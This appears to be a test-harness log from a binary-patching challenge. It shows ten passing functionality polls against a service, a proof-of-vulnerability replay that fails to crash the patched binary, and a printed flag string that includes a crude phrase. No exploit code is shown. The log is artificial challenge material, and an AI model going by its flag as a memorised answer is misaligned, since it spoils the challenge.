# negotiating seed as 62e5d85e053740972a5687c15990154513d19189651cd65967c9bb9ed208b3714b46f809403681a19f521364aa3d83b8
# service - /home/legit_00003_patch/polls/GEN_00002.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62882c9e2cd5d660db1c7e4ad15ea760a84f2b66e480f570ba9497553b76cb26c1c288a809cdd3b1ec03a4f914ae0b46
# service - /home/legit_00003_patch/polls/GEN_00003.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as fe202fb0e028b1bceced407241bd9907910f91d80bf3a04aa71f4de7c5787f168d067d3e75e5626cb82c322dbfcb7bb9
# service - /home/legit_00003_patch/polls/GEN_00004.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 13 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 581d18f2bdbe875f5803017fcdf767345a5baeee3ba701fa6d6701ddfba087f6ab6d7318fa2b510078d45a264f673277
# service - /home/legit_00003_patch/polls/GEN_00005.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 5f22f45b9f220acecb404bc22ee28bf7740b6c0eb675afd73491577f8a683e8abc12683c772cf8907e6ed091a72e829f
# service - /home/legit_00003_patch/polls/GEN_00006.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as c109ece1c065013ebe5ca0b69b19225f78504b2f2adf8917ff647f198d8c0c4099043b1a86e73462613dc5f2122ef3e2
# service - /home/legit_00003_patch/polls/GEN_00007.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 14 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as e15b879dd393a94b25d31579199fb88019cf66759f84d78d8d1ce34abbd9f933029000384f33966b0b2ff75f40685a05
# service - /home/legit_00003_patch/polls/GEN_00008.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 15 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 902858ea8e288d6648944b6ceb914e72b214512be3e3d91b362486159521576554c1b07a6bce8c59605db9b763d83521
# service - /home/legit_00003_patch/polls/GEN_00009.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# total tests passed: 190
# total tests failed: 0
# polls passed: 10
# polls failed: 0
# launching cb-server --insecure -p 2057 -m 1 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay-pov --host 127.21.144.70 --port 2057 --timeout 30 --negotiate /home/legit_00003_patch/pov_1.pov
# cb-server: connection from: 127.0.0.1:57857
# cb-server: negotation flag: 1
# cb-server: seed: C67B3222B4EFF8031169122D82F8EA7ACE7B0D9026AB893A09F9B7EB2CD5C20184ABB5F1C4FEEB3C5E1066946427ADAA
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 55, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 3894416
# cb-server: total sw-task-clock 3899075
# cb-server: CB exited (pid: 54, exit code: 0)
# /home/legit_00003_patch/pov_1.pov
# using seed: c67b3222b4eff8031169122d82f8ea7ace7b0d9026ab893a09f9b7eb2cd5c20184abb5f1c4feeb3c5e1066946427adaa
# negotiation type: 1
# type 1 masks: 7f7f7f7f 7f7f7f7f
# type 1 pov: 04180167 593a2a30 5
ok - POV type 1 did not core, as expected
Passed functionality tests.
Passed pov test
The flag is: Come get your grape juice and a Sex Coma.


Looks like it worked!


The flag is: Come get your grape juice and a Sex Coma.